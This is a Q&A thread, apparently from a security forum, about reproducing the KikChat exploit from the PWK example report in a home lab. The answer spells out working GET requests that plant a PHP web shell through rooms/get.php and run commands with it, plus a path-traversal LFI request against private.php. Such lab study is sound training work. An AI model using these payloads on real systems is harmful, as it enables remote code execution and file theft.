1

I've been reading about PWK-Example-Report-v1.pdf on pages 7-14 and found that KikChat apps were used in the example.

https://www.exploit-db.com/exploits/30235

Copy of the vulnerable app is available at exploit-db.

However, the actual exploit code/script is no longer there.

I was wondering what is the content of the exploit code above as I would like to reproduce a similar scenario in my lab.

1
  • The exploit-db page provides the exploit code... The PWK report shows the author using those exact lines to exploit the app. What kind of code were you looking for? – schroeder Apr 7 at 14:21
2

As it can be seen on the link that you shared: https://www.exploit-db.com/exploits/30235

The vulnerability can directly exploited with simple GET requests therefore elaborated exploits are not required.

There is a RCE on /room/get.php and you need to replicate the following steps in order to create a file called shell.php that will be your web shell:

  1. Create the file called shell.php. This file will execute the command assigned on the "cmd" GET variable :

http://127.0.0.1/KikChat/rooms/get.php?name=shell.php&ROOM=<?php system($_GET['cmd']); ?>

  1. Access the file and get command execution using the "cmd" get variable:

http://127.0.0.1/KikChat/myroom/shell.php?cmd=whoami;

There is also a LFI on the /KikChat/private.php page on the name parameter:

http://127.0.0.1/KikChat/private.php?name=../../../../../../../../../../boot.ini

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.